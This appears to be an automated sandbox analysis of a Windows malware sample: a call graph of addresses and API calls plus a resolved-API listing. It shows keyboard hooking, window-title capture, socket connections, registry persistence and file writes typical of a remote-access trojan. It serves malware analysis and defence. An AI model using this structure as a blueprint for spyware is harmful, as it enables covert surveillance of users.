47355->47685 47359 41a737 47358->47359 47360 41a69c GetLocalTime 47358->47360 47362 401eea 26 API calls 47359->47362 47361 404cbf 28 API calls 47360->47361 47363 41a6de 47361->47363 47364 41a73f 47362->47364 47365 405ce6 28 API calls 47363->47365 47366 401eea 26 API calls 47364->47366 47367 41a6ea 47365->47367 47368 40ddaa 47366->47368 47718 4027cb 47367->47718 47368->46829 47370 41a6f6 47371 405ce6 28 API calls 47370->47371 47372 41a702 47371->47372 47721 406478 76 API calls 47372->47721 47374 41a710 47375 401eea 26 API calls 47374->47375 47376 41a71c 47375->47376 47377 401eea 26 API calls 47376->47377 47378 41a725 47377->47378 47379 401eea 26 API calls 47378->47379 47380 41a72e 47379->47380 47381 401eea 26 API calls 47380->47381 47381->47359 47383 409536 _wcslen 47382->47383 47384 409541 47383->47384 47385 409558 47383->47385 47386 40c89e 31 API calls 47384->47386 47387 40c89e 31 API calls 47385->47387 47388 409549 47386->47388 47389 409560 47387->47389 47390 401e18 26 API calls 47388->47390 47391 401e18 26 API calls 47389->47391 47392 409553 47390->47392 47393 40956e 47391->47393 47395 401e13 26 API calls 47392->47395 47394 401e13 26 API calls 47393->47394 47396 409576 47394->47396 47397 4095ad 47395->47397 47741 40856b 28 API calls 47396->47741 47726 409837 47397->47726 47400 409588 47742 4028cf 47400->47742 47403 409593 47404 401e18 26 API calls 47403->47404 47405 40959d 47404->47405 47406 401e13 26 API calls 47405->47406 47406->47392 47408 41a7c5 GetUserNameW 47407->47408 47918 403b40 47408->47918 47412 41a7fd 47413 4028cf 28 API calls 47412->47413 47414 41a807 47413->47414 47415 401e13 26 API calls 47414->47415 47416 41a810 47415->47416 47417 401e13 26 API calls 47416->47417 47418 40dfc3 47417->47418 47418->46882 47420 40e08b 47419->47420 47421 41248f RegQueryValueExA RegCloseKey 47419->47421 47420->46911 47420->46914 47421->47420 47423 4125b0 RegQueryValueExW RegCloseKey 47422->47423 47424 4125dd 47422->47424 47423->47424 47425 403b40 28 API calls 47424->47425 47426 40e0ba 47425->47426 47426->46923 47428 412992 RegDeleteValueW 47427->47428 47429 4129a6 47427->47429 47428->47429 47430 4129a2 47428->47430 47429->46932 47430->46932 47432 40cbc5 47431->47432 47433 41246e 3 API calls 47432->47433 47434 40cbcc 47433->47434 47435 40cbeb 47434->47435 47946 401602 47434->47946 47439 413fd4 47435->47439 47437 40cbd9 47949 4127d5 RegCreateKeyA 47437->47949 47440 413feb 47439->47440 47972 41aa73 47440->47972 47442 413ff6 47443 401d64 28 API calls 47442->47443 47444 41400f 47443->47444 47445 43a5e7 _strftime 42 API calls 47444->47445 47446 41401c 47445->47446 47447 414021 Sleep 47446->47447 47448 41402e 47446->47448 47447->47448 47449 401f66 28 API calls 47448->47449 47450 41403d 47449->47450 47451 401d64 28 API calls 47450->47451 47452 41404b 47451->47452 47453 401fbd 28 API calls 47452->47453 47454 414053 47453->47454 47455 41afc3 28 API calls 47454->47455 47456 41405b 47455->47456 47976 404262 WSAStartup 47456->47976 47458 414065 47459 401d64 28 API calls 47458->47459 47460 41406e 47459->47460 47461 401d64 28 API calls 47460->47461 47487 4140ed 47460->47487 47462 414087 47461->47462 47463 401d64 28 API calls 47462->47463 47465 414098 47463->47465 47464 401fbd 28 API calls 47464->47487 47467 401d64 28 API calls 47465->47467 47466 41afc3 28 API calls 47466->47487 47468 4140a9 47467->47468 47470 401d64 28 API calls 47468->47470 47469 4085b4 28 API calls 47469->47487 47471 4140ba 47470->47471 47474 401d64 28 API calls 47471->47474 47472 4027cb 28 API calls 47472->47487 47473 401eef 26 API calls 47473->47487 47475 4140cb 47474->47475 47476 401d64 28 API calls 47475->47476 47478 4140dd 47476->47478 47477 401eea 26 API calls 47477->47487 48078 404101 87 API calls 47478->48078 47480 404cbf 28 API calls 47480->47487 47482 414244 WSAGetLastError 48079 41bc76 30 API calls 47482->48079 47487->47464 47487->47466 47487->47469 47487->47472 47487->47473 47487->47477 47487->47480 47487->47482 47490 401d64 28 API calls 47487->47490 47491 401d8c 26 API calls 47487->47491 47492 405ce6 28 API calls 47487->47492 47493 43a5e7 _strftime 42 API calls 47487->47493 47495 401f66 28 API calls 47487->47495 47496 41a686 79 API calls 47487->47496 47498 4082dc 28 API calls 47487->47498 47501 412513 31 API calls 47487->47501 47524 41446f 47487->47524 47977 413f9a 47487->47977 47982 4041f1 47487->47982 47989 404915 47487->47989 48004 40428c connect 47487->48004 48064 4047eb WaitForSingleObject 47487->48064 48080 404c9e 28 API calls 47487->48080 48081 413683 50 API calls 47487->48081 48082 440c51 26 API calls 47487->48082 48083 41265d RegOpenKeyExA RegQueryValueExA RegCloseKey 47487->48083 47490->47487 47491->47487 47492->47487 47494 414b80 Sleep 47493->47494 47494->47487 47495->47487 47496->47487 47498->47487 47501->47487 47502 403b40 28 API calls 47502->47524 47505 41aec8 28 API calls 47505->47524 47506 41ad46 28 API calls 47506->47524 47507 401d64 28 API calls 47508 4144ed GetTickCount 47507->47508 48086 41ad46 28 API calls 47508->48086 47514 405ce6 28 API calls 47514->47524 47515 40275c 28 API calls 47515->47524 47516 4027cb 28 API calls 47516->47524 47518 401eea 26 API calls 47518->47524 47521 401f66 28 API calls 47521->47524 47522 41a686 79 API calls 47522->47524 47523 414b22 CreateThread 47523->47524 48162 419e89 102 API calls 47523->48162 47524->47487 47524->47502 47524->47505 47524->47506 47524->47507 47524->47514 47524->47515 47524->47516 47524->47518 47524->47521 47524->47522 47524->47523 47525 401e13 26 API calls 47524->47525 48084 40cbf1 6 API calls 47524->48084 48085 41adee 28 API calls 47524->48085 48087 41aca0 GetTickCount 47524->48087 48088 41ac52 30 API calls ___scrt_fastfail 47524->48088 48089 40e679 29 API calls 47524->48089 48090 4027ec 28 API calls 47524->48090 48091 404468 59 API calls ctype 47524->48091 48092 4045d5 111 API calls _Yarn 47524->48092 48093 40a767 84 API calls 47524->48093 47525->47524 47526->46682 47527->46692 47530 4085c0 47529->47530 47531 402e78 28 API calls 47530->47531 47532 4085e4 47531->47532 47532->46713 47534 4124e1 RegQueryValueExA RegCloseKey 47533->47534 47535 41250b 47533->47535 47534->47535 47535->46709 47536->46716 47537->46745 47538->46738 47539->46729 47540->46743 47542 40c8ba 47541->47542 47543 40c8da 47542->47543 47544 40c90f 47542->47544 47565 40c8d0 47542->47565 48163 41a74b 29 API calls 47543->48163 47547 41b15b GetCurrentProcess 47544->47547 47546 40ca03 GetLongPathNameW 47550 403b40 28 API calls 47546->47550 47548 40c914 47547->47548 47551 40c918 47548->47551 47552 40c96a 47548->47552 47549 40c8e3 47553 401e18 26 API calls 47549->47553 47554 40ca18 47550->47554 47556 403b40 28 API calls 47551->47556 47555 403b40 28 API calls 47552->47555 47557 40c8ed 47553->47557 47558 403b40 28 API calls 47554->47558 47560 40c978 47555->47560 47561 40c926 47556->47561 47563 401e13 26 API calls 47557->47563 47559 40ca27 47558->47559 48166 40cc37 28 API calls 47559->48166 47567 403b40 28 API calls 47560->47567 47568 403b40 28 API calls 47561->47568 47563->47565 47564 40ca3a 48167 402860 28 API calls 47564->48167 47565->47546 47570 40c98e 47567->47570 47571 40c93c 47568->47571 47569 40ca45 48168 402860 28 API calls 47569->48168 48165 402860 28 API calls 47570->48165 48164 402860 28 API calls 47571->48164 47575 40ca4f 47578 401e13 26 API calls 47575->47578 47576 40c999 47579 401e18 26 API calls 47576->47579 47577 40c947 47580 401e18 26 API calls 47577->47580 47581 40ca59 47578->47581 47582 40c9a4 47579->47582 47583 40c952 47580->47583 47584 401e13 26 API calls 47581->47584 47585 401e13 26 API calls 47582->47585 47586 401e13 26 API calls 47583->47586 47587 40ca62 47584->47587 47588 40c9ad 47585->47588 47589 40c95b 47586->47589 47590 401e13 26 API calls 47587->47590 47591 401e13 26 API calls 47588->47591 47592 401e13 26 API calls 47589->47592 47593 40ca6b 47590->47593 47591->47557 47592->47557 47594 401e13 26 API calls 47593->47594 47595 40ca74 47594->47595 47596 401e13 26 API calls 47595->47596 47597 40ca7d 47596->47597 47597->46791 47598->46803 47599->46825 47600->46784 47601->46817 47602->46853 47603->46863 47604->46887 47605->46875 47606->46908 47608 401e0c 47607->47608 47609->46736 47612 40e183 47611->47612 47613 41a65c LoadResource LockResource SizeofResource 47611->47613 47612->47227 47613->47612 47615 401f8e 47614->47615 47621 402325 47615->47621 47617 401fa4 47617->47231 47619 401f86 28 API calls 47618->47619 47620 406066 47619->47620 47620->47238 47622 40232f 47621->47622 47624 40233a 47622->47624 47625 40294a 28 API calls 47622->47625 47624->47617 47625->47624 47627 40250d 47626->47627 47629 40252b 47627->47629 47630 40261a 28 API calls 47627->47630 47629->47242 47630->47629 47631->47244 47632->47244 47633->47252 47634->47263 47635->47267 47636->47271 47637->47273 47640 402e85 47639->47640 47641 402e98 47640->47641 47643 402ea9 47640->47643 47644 402eae 47640->47644 47646 403445 28 API calls 47641->47646 47643->47282 47644->47643 47647 40225b 26 API calls 47644->47647 47646->47643 47647->47643 47649 404bd0 47648->47649 47652 40245c 47649->47652 47651 404be4 47651->47285 47653 402469 47652->47653 47655 402478 47653->47655 47656 402ad3 28 API calls 47653->47656 47655->47651 47656->47655 47657->47289 47658->47292 47660 401e94 47659->47660 47662 41a471 47661->47662 47663 41b168 GetCurrentProcess 47661->47663 47664 412513 RegOpenKeyExA 47662->47664 47663->47662 47665 412541 RegQueryValueExA RegCloseKey 47664->47665 47666 412569 47664->47666 47665->47666 47667 401f66 28 API calls 47666->47667 47668 41257e 47667->47668 47668->47306 47669->47314 47671 40b02f 47670->47671 47674 40b04b 47671->47674 47673 40b045 47673->47325 47675 40b055 47674->47675 47677 40b060 47675->47677 47678 40b138 28 API calls 47675->47678 47677->47673 47678->47677 47679->47329 47680->47331 47682 40230d 47681->47682 47683 402325 28 API calls 47682->47683 47684 401f80 47683->47684 47684->46796 47703 43a545 47685->47703 47687 40dd54 47687->46812 47687->46813 47688 43998b 47691 4392de __cftof 38 API calls 47688->47691 47689 439950 47689->47687 47689->47688 47690 439965 47689->47690 47710 445354 20 API calls __dosmaperr 47690->47710 47696 439997 47691->47696 47693 43996a 47711 43a827 26 API calls _Deallocate 47693->47711 47697 4399c6 47696->47697 47712 43a58a 42 API calls __Toupper 47696->47712 47698 439a32 47697->47698 47713 43a4f1 26 API calls 2 library calls 47697->47713 47714 43a4f1 26 API calls 2 library calls 47698->47714 47701 439af9 _strftime 47701->47687 47715 445354 20 API calls __dosmaperr 47701->47715 47704 43a54a 47703->47704 47705 43a55d 47703->47705 47716 445354 20 API calls __dosmaperr 47704->47716 47705->47689 47707 43a54f 47717 43a827 26 API calls _Deallocate 47707->47717 47709 43a55a 47709->47689 47710->47693 47711->47687 47712->47696 47713->47698 47714->47701 47715->47687 47716->47707 47717->47709 47722 401e9b 47718->47722 47720 4027d9 47720->47370 47721->47374 47723 401ea7 47722->47723 47724 40245c 28 API calls 47723->47724 47725 401eb9 47724->47725 47725->47720 47727 409855 47726->47727 47728 4124b7 3 API calls 47727->47728 47729 40985c 47728->47729 47730 409870 47729->47730 47731 40988a 47729->47731 47733 4095cf 47730->47733 47734 409875 47730->47734 47745 4082dc 47731->47745 47733->46848 47736 4082dc 28 API calls 47734->47736 47737 409883 47736->47737 47771 409959 29 API calls 47737->47771 47740 409888 47740->47733 47741->47400 47909 402d8b 47742->47909 47744 4028dd 47744->47403 47746 4082eb 47745->47746 47772 408431 47746->47772 47748 408309 47749 4098a5 47748->47749 47777 40affa 47749->47777 47752 4098f6 47754 401f66 28 API calls 47752->47754 47753 4098ce 47755 401f66 28 API calls 47753->47755 47756 409901 47754->47756 47757 4098d8 47755->47757 47758 401f66 28 API calls 47756->47758 47759 41ae08 28 API calls 47757->47759 47761 409910 47758->47761 47760 4098e6 47759->47760 47781 40a876 31 API calls _Yarn 47760->47781 47763 41a686 79 API calls 47761->47763 47765 409915 CreateThread 47763->47765 47764 4098ed 47766 401eea 26 API calls 47764->47766 47767 409930 CreateThread 47765->47767 47768 40993c CreateThread 47765->47768 47793 4099a9 47765->47793 47766->47752 47767->47768 47790 409993 47767->47790 47769 401e13 26 API calls 47768->47769 47787 4099b5 47768->47787 47770 409950 47769->47770 47770->47733 47771->47740 47908 40999f 135 API calls 47771->47908 47773 40843d 47772->47773 47775 40845b 47773->47775 47776 402f0d 28 API calls 47773->47776 47775->47748 47776->47775 47779 40b006 47777->47779 47778 4098c3 47778->47752 47778->47753 47779->47778 47782 403b9e 47779->47782 47781->47764 47783 403ba8 47782->47783 47785 403bb3 47783->47785 47786 403cfd 28 API calls 47783->47786 47785->47778 47786->47785 47796 40a3f4 47787->47796 47834 4099e4 47790->47834 47851 409e48 47793->47851 47802 40a402 47796->47802 47797 4099be 47798 40a45c Sleep GetForegroundWindow GetWindowTextLengthW 47799 40b027 28 API calls 47798->47799 47799->47802 47802->47797 47802->47798 47805 40a4a2 GetWindowTextW 47802->47805 47824 40a4bc 47802->47824 47825 433519 5 API calls __Init_thread_wait 47802->47825 47826 4338a5 29 API calls __onexit 47802->47826 47827 4334cf EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 47802->47827 47803 41aca0 GetTickCount 47803->47824 47805->47802 47807 401e13 26 API calls 47807->47824 47808 40a5ff 47810 401e13 26 API calls 47808->47810 47809 40affa 28 API calls 47809->47824 47810->47797 47811 40a569 Sleep 47811->47824 47814 401f66 28 API calls 47814->47824 47816 4082dc 28 API calls 47816->47824 47818 405ce6 28 API calls 47818->47824 47820 4028cf 28 API calls 47820->47824 47821 41ae08 28 API calls 47821->47824 47822 409d58 27 API calls 47822->47824 47823 401eea 26 API calls 47823->47824 47824->47802 47824->47803 47824->47807 47824->47808 47824->47809 47824->47811 47824->47814 47824->47816 47824->47818 47824->47820 47824->47821 47824->47822 47824->47823 47828 4082a8 28 API calls 47824->47828 47829 40a876 31 API calls _Yarn 47824->47829 47830 40b0dd 28 API calls 47824->47830 47831 40ae58 44 API calls 2 library calls 47824->47831 47832 440c51 26 API calls 47824->47832 47833 404c9e 28 API calls 47824->47833 47825->47802 47826->47802 47827->47802 47828->47824 47829->47824 47830->47824 47831->47824 47832->47824 47833->47824 47835 409a63 GetMessageA 47834->47835 47836 4099ff GetModuleHandleA SetWindowsHookExA 47834->47836 47837 409a75 TranslateMessage DispatchMessageA 47835->47837 47848 40999c 47835->47848 47836->47835 47838 409a1b GetLastError 47836->47838 47837->47835 47837->47848 47849 41ad46 28 API calls 47838->47849 47840 409a31 47850 404c9e 28 API calls 47840->47850 47842 409a3e 47843 401f66 28 API calls 47842->47843 47844 409a4d 47843->47844 47845 41a686 79 API calls 47844->47845 47846 409a52 47845->47846 47847 401eea 26 API calls 47846->47847 47847->47848 47849->47840 47850->47842 47852 409e5d Sleep 47851->47852 47871 409d97 47852->47871 47854 4099b2 47855 409e9d CreateDirectoryW 47870 409e6f 47855->47870 47856 409eae GetFileAttributesW 47857 409eb9 47856->47857 47856->47870 47858 409ec5 SetFileAttributesW 47857->47858 47858->47870 47860 409f3f PathFileExistsW 47860->47870 47861 401d64 28 API calls 47861->47870 47862 409e91 47862->47855 47865 40a048 SetFileAttributesW 47862->47865 47864 401f86 28 API calls 47864->47870 47865->47870 47866 401eea 26 API calls 47866->47870 47867 401eef 26 API calls 47867->47870 47868 406052 28 API calls 47868->47870 47870->47852 47870->47854 47870->47856 47870->47860 47870->47861 47870->47862 47870->47864 47870->47866 47870->47867 47870->47868 47884 41b58f 47870->47884 47893 41b61a CreateFileW 47870->47893 47901 41b687 CreateFileW SetFilePointer WriteFile CloseHandle 47870->47901 47872 409e44 47871->47872 47874 409dad 47871->47874 47872->47870 47873 409dcc CreateFileW 47873->47874 47875 409dda GetFileSize 47873->47875 47874->47873 47876 409e0f CloseHandle 47874->47876 47877 409e21 47874->47877 47878 409e04 Sleep 47874->47878 47879 409dfd 47874->47879 47875->47874 47875->47876 47876->47874 47877->47872 47881 4082dc 28 API calls 47877->47881 47878->47876 47902 40a7f0 83 API calls 47879->47902 47882 409e3d 47881->47882 47883 4098a5 126 API calls 47882->47883 47883->47872 47885 41b5a2 CreateFileW 47884->47885 47887 41b5db 47885->47887 47888 41b5df 47885->47888 47887->47870 47889 41b5f6 WriteFile 47888->47889 47890 41b5e6 SetFilePointer 47888->47890 47891 41b609 47889->47891 47892 41b60b CloseHandle 47889->47892 47890->47889 47890->47892 47891->47892 47892->47887 47894 41b640 47893->47894 47895 41b644 GetFileSize 47893->47895 47894->47870 47903 401e65 47895->47903 47897 41b658 47898 41b66a ReadFile 47897->47898 47899 41b677 47898->47899 47900 41b679 CloseHandle 47898->47900 47899->47900 47900->47894 47901->47870 47902->47878 47904 401e6d 47903->47904 47905 401e77 47904->47905 47907 4023b7 28 API calls 47904->47907 47905->47897 47907->47905 47910 402d97 47909->47910 47913 4030f7 47910->47913 47912 402dab 47912->47744 47914 403101 47913->47914 47916 403115 47914->47916 47917 4036c2 28 API calls 47914->47917 47916->47912 47917->47916 47919 403b48 47918->47919 47925 403b7a 47919->47925 47922 403cbb 47929 403dc2 47922->47929 47924 403cc9 47924->47412 47926 403b86 47925->47926 47927 403b9e 28 API calls 47926->47927 47928 403b5a 47927->47928 47928->47922 47930 403dce 47929->47930 47933 402ffd 47930->47933 47932 403de3 47932->47924 47934 40300e 47933->47934 47939 4032a4 47934->47939 47938 40302e 47938->47932 47940 4032b0 47939->47940 47941 40301a 47939->47941 47945 4032b6 28 API calls 47940->47945 47941->47938 47944 4035e8 28 API calls 47941->47944 47944->47938 47952 4395ba 47946->47952 47950 412814 47949->47950 47951 4127ed RegSetValueExA RegCloseKey 47949->47951 47950->47435 47951->47950 47955 43953b 47952->47955 47954 401608 47954->47437 47956 43954a 47955->47956 47957 43955e 47955->47957 47970 445354 20 API calls __dosmaperr 47956->47970 47962 43955a __alldvrm 47957->47962 47963 447601 47957->47963 47959 43954f 47971 43a827 26 API calls _Deallocate 47959->47971 47962->47954 47964 447174 __dosmaperr 5 API calls 47963->47964 47965 447628 47964->47965 47966 447640 GetSystemTimeAsFileTime 47965->47966 47967 447634 47965->47967 47966->47967 47968 433d2c __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 47967->47968 47969 447651 47968->47969 47969->47962 47970->47959 47971->47962 47975 41aab9 ctype ___scrt_fastfail 47972->47975 47973 401f66 28 API calls 47974 41ab2e 47973->47974 47974->47442 47975->47973 47976->47458 47978 413fa9 47977->47978 47980 413fae WSASetLastError 47977->47980 48094 413e37 47978->48094 47980->47487 47983 404206 socket 47982->47983 47984 4041fd 47982->47984 47986 404220 47983->47986 47987 404224 CreateEventW 47983->47987 48139 404262 WSAStartup 47984->48139 47986->47487 47987->47487 47988 404202 47988->47983 47988->47986 47990 4049b1 47989->47990 47991 40492a 47989->47991 47990->47487 47992 404933 47991->47992 47993 404987 CreateEventA CreateThread 47991->47993 47994 404942 GetLocalTime 47991->47994 47992->47993 47993->47990 48142 404b1d 47993->48142 48140 41ad46 28 API calls 47994->48140 47996 40495b 48141 404c9e 28 API calls 47996->48141 47998 404968 47999 401f66 28 API calls 47998->47999 48000 404977 47999->48000 48001 41a686 79 API calls 48000->48001 48002 40497c 48001->48002 48003 401eea 26 API calls 48002->48003 48003->47993 48005 4043e1 48004->48005 48006 4042b3 48004->48006 48007 404343 48005->48007 48008 4043e7 WSAGetLastError 48005->48008 48006->48007 48009 4042e8 48006->48009 48012 404cbf 28 API calls 48006->48012 48007->47487 48008->48007 48010 4043f7 48008->48010 48146 420151 27 API calls 48009->48146 48013 4042f7 48010->48013 48014 4043fc 48010->48014 48016 4042d4 48012->48016 48019 401f66 28 API calls 48013->48019 48157 41bc76 30 API calls 48014->48157 48015 4042f0 48015->48013 48018 404306 48015->48018 48020 401f66 28 API calls 48016->48020 48029 404315 48018->48029 48030 40434c 48018->48030 48023 404448 48019->48023 48024 4042e3 48020->48024 48021 40440b 48158 404c9e 28 API calls 48021->48158 48026 401f66 28 API calls 48023->48026 48027 41a686 79 API calls 48024->48027 48025 404418 48028 401f66 28 API calls 48025->48028 48031 404457 48026->48031 48027->48009 48032 404427 48028->48032 48034 401f66 28 API calls 48029->48034 48154 420f34 55 API calls 48030->48154 48035 41a686 79 API calls 48031->48035 48036 41a686 79 API calls 48032->48036 48038 404324 48034->48038 48035->48007 48039 40442c 48036->48039 48037 404354 48040 404389 48037->48040 48041 404359 48037->48041 48042 401f66 28 API calls 48038->48042 48043 401eea 26 API calls 48039->48043 48156 4202ea 28 API calls 48040->48156 48044 401f66 28 API calls 48041->48044 48045 404333 48042->48045 48043->48007 48048 404368 48044->48048 48049 41a686 79 API calls 48045->48049 48047 404391 48050 4043be CreateEventW CreateEventW 48047->48050 48052 401f66 28 API calls 48047->48052 48051 401f66 28 API calls 48048->48051 48062 404338 48049->48062 48050->48007 48053 404377 48051->48053 48055 4043a7 48052->48055 48056 41a686 79 API calls 48053->48056 48057 401f66 28 API calls 48055->48057 48058 40437c 48056->48058 48059 4043b6 48057->48059 48155 420592 53 API calls 48058->48155 48061 41a686 79 API calls 48059->48061 48063 4043bb 48061->48063 48147 420191 48062->48147 48063->48050 48065 404805 SetEvent CloseHandle 48064->48065 48066 40481c closesocket 48064->48066 48067 40489c 48065->48067 48068 404829 48066->48068 48067->47487 48069 404838 48068->48069 48070 40483f 48068->48070 48161 404ab1 83 API calls 48069->48161 48072 404851 WaitForSingleObject 48070->48072 48073 404892 SetEvent CloseHandle 48070->48073 48074 420191 3 API calls 48072->48074 48073->48067 48075 404860 SetEvent WaitForSingleObject 48074->48075 48076 420191 3 API calls 48075->48076 48077 404878 SetEvent CloseHandle CloseHandle 48076->48077 48077->48073 48078->47487 48079->47487 48080->47487 48081->47487 48082->47487 48083->47487 48084->47524 48085->47524 48086->47524 48087->47524 48088->47524 48089->47524 48090->47524 48091->47524 48092->47524 48093->47524 48095 413e79 GetSystemDirectoryA 48094->48095 48110 413f80 48094->48110 48096 413e94 48095->48096 48095->48110 48115 44080e 48096->48115 48101 413ee2 GetProcAddress 48102 413ef3 48101->48102 48104 413eee FreeLibrary 48101->48104 48103 44080e ___std_exception_copy 26 API calls 48102->48103 48113 413f44 48102->48113 48105 413f0f 48103->48105 48104->48102 48106 440868 26 API calls 48105->48106 48108 413f1f LoadLibraryA 48106->48108 48107 413f4a GetProcAddress 48109 413f65 FreeLibrary 48107->48109 48107->48113 48108->48110 48111 413f33 GetProcAddress 48108->48111 48112 413f63 48109->48112 48110->47980 48111->48113 48114 413f3f FreeLibrary 48111->48114 48112->48110 48113->48107 48113->48110 48113->48112 48114->48113 48116 440829 48115->48116 48117 44081b 48115->48117 48133 445354 20 API calls __dosmaperr 48116->48133 48117->48116 48120 440840 48117->48120 48121 413eb0 48120->48121 48135 445354 20 API calls __dosmaperr 48120->48135 48124 440868 48121->48124 48123 440831 48134 43a827 26 API calls _Deallocate 48123->48134 48125 440876 48124->48125 48126 440884 48124->48126 48125->48126 48131 4408ad 48125->48131 48136 445354 20 API calls __dosmaperr 48126->48136 48128 44088c 48137 43a827 26 API calls _Deallocate 48128->48137 48130 413ec0 LoadLibraryA 48130->48101 48130->48102 48131->48130 48138 445354 20 API calls __dosmaperr 48131->48138 48133->48123 48134->48121 48135->48123 48136->48128 48137->48130 48138->48128 48139->47988 48140->47996 48141->47998 48145 404b29 101 API calls 48142->48145 48144 404b26 48145->48144 48146->48015 48148 41dc15 48147->48148 48149 420199 48147->48149 48150 41dc23 48148->48150 48159 41cd69 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48148->48159 48149->48007 48160 41d950 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48150->48160 48153 41dc2a 48154->48037 48155->48062 48156->48047 48157->48021 48158->48025 48159->48150 48160->48153 48161->48070 48163->47549 48164->47577 48165->47576 48166->47564 48167->47569 48168->47575 48171 40e56a 48169->48171 48170 4124b7 3 API calls 48170->48171 48171->48170 48173 40e60e 48171->48173 48175 40e5fe Sleep 48171->48175 48191 40e59c 48171->48191 48172 4082dc 28 API calls 48172->48191 48174 4082dc 28 API calls 48173->48174 48178 40e619 48174->48178 48175->48171 48177 41ae08 28 API calls 48177->48191 48179 41ae08 28 API calls 48178->48179 48180 40e625 48179->48180 48204 412774 29 API calls 48180->48204 48183 401e13 26 API calls 48183->48191 48184 40e638 48185 401e13 26 API calls 48184->48185 48187 40e644 48185->48187 48186 401f66 28 API calls 48186->48191 48188 401f66 28 API calls 48187->48188 48189 40e655 48188->48189 48192 4126d2 29 API calls 48189->48192 48190 4126d2 29 API calls 48190->48191 48191->48172 48191->48175 48191->48177 48191->48183 48191->48186 48191->48190 48202 40bf04 73 API calls ___scrt_fastfail 48191->48202 48203 412774 29 API calls 48191->48203 48193 40e668 48192->48193 48205 411699 TerminateProcess WaitForSingleObject 48193->48205 48195 40e670 ExitProcess 48206 411637 60 API calls 48201->48206 48203->48191 48204->48184 48205->48195 48207 4339ac 48212 433cd7 SetUnhandledExceptionFilter 48207->48212 48209 4339b1 pre_c_initialization 48213 4447cb 26 API calls 2 library calls 48209->48213 48211 4339bc 48212->48209 48213->48211

                                                                                    Executed Functions

                                                                                    Function 0041BCE3 Relevance: 115.6, APIs: 40, Strings: 26, Instructions: 140libraryloaderCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • LoadLibraryA.KERNEL32(Psapi), ref: 0041BCF8
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD01
                                                                                    • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040D783), ref: 0041BD18
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD1B
                                                                                    • LoadLibraryA.KERNEL32(shcore), ref: 0041BD2D
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD30
                                                                                    • LoadLibraryA.KERNEL32(user32), ref: 0041BD41
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD44
                                                                                    • LoadLibraryA.KERNEL32(ntdll), ref: 0041BD55
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD58
                                                                                    • LoadLibraryA.KERNEL32(kernel32), ref: 0041BD65
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD68
                                                                                    • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040D783), ref: 0041BD75
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD78
                                                                                    • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040D783), ref: 0041BD85
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD88
                                                                                    • LoadLibraryA.KERNEL32(Shell32), ref: 0041BD99
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD9C
                                                                                    • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040D783), ref: 0041BDA9
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDAC
                                                                                    • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040D783), ref: 0041BDBD
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDC0
                                                                                    • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040D783), ref: 0041BDD1
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDD4
                                                                                    • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040D783), ref: 0041BDE5
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDE8
                                                                                    • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040D783), ref: 0041BDF5
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDF8
                                                                                    • LoadLibraryA.KERNEL32(Shlwapi), ref: 0041BE06
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE09
                                                                                    • LoadLibraryA.KERNEL32(kernel32), ref: 0041BE16
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE19
                                                                                    • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040D783), ref: 0041BE2B
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE2E
                                                                                    • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040D783), ref: 0041BE3B
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE3E
                                                                                    • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041BE50
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE53
                                                                                    • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041BE60
                                                                                    • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BE63
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressProc$HandleLibraryLoadModule
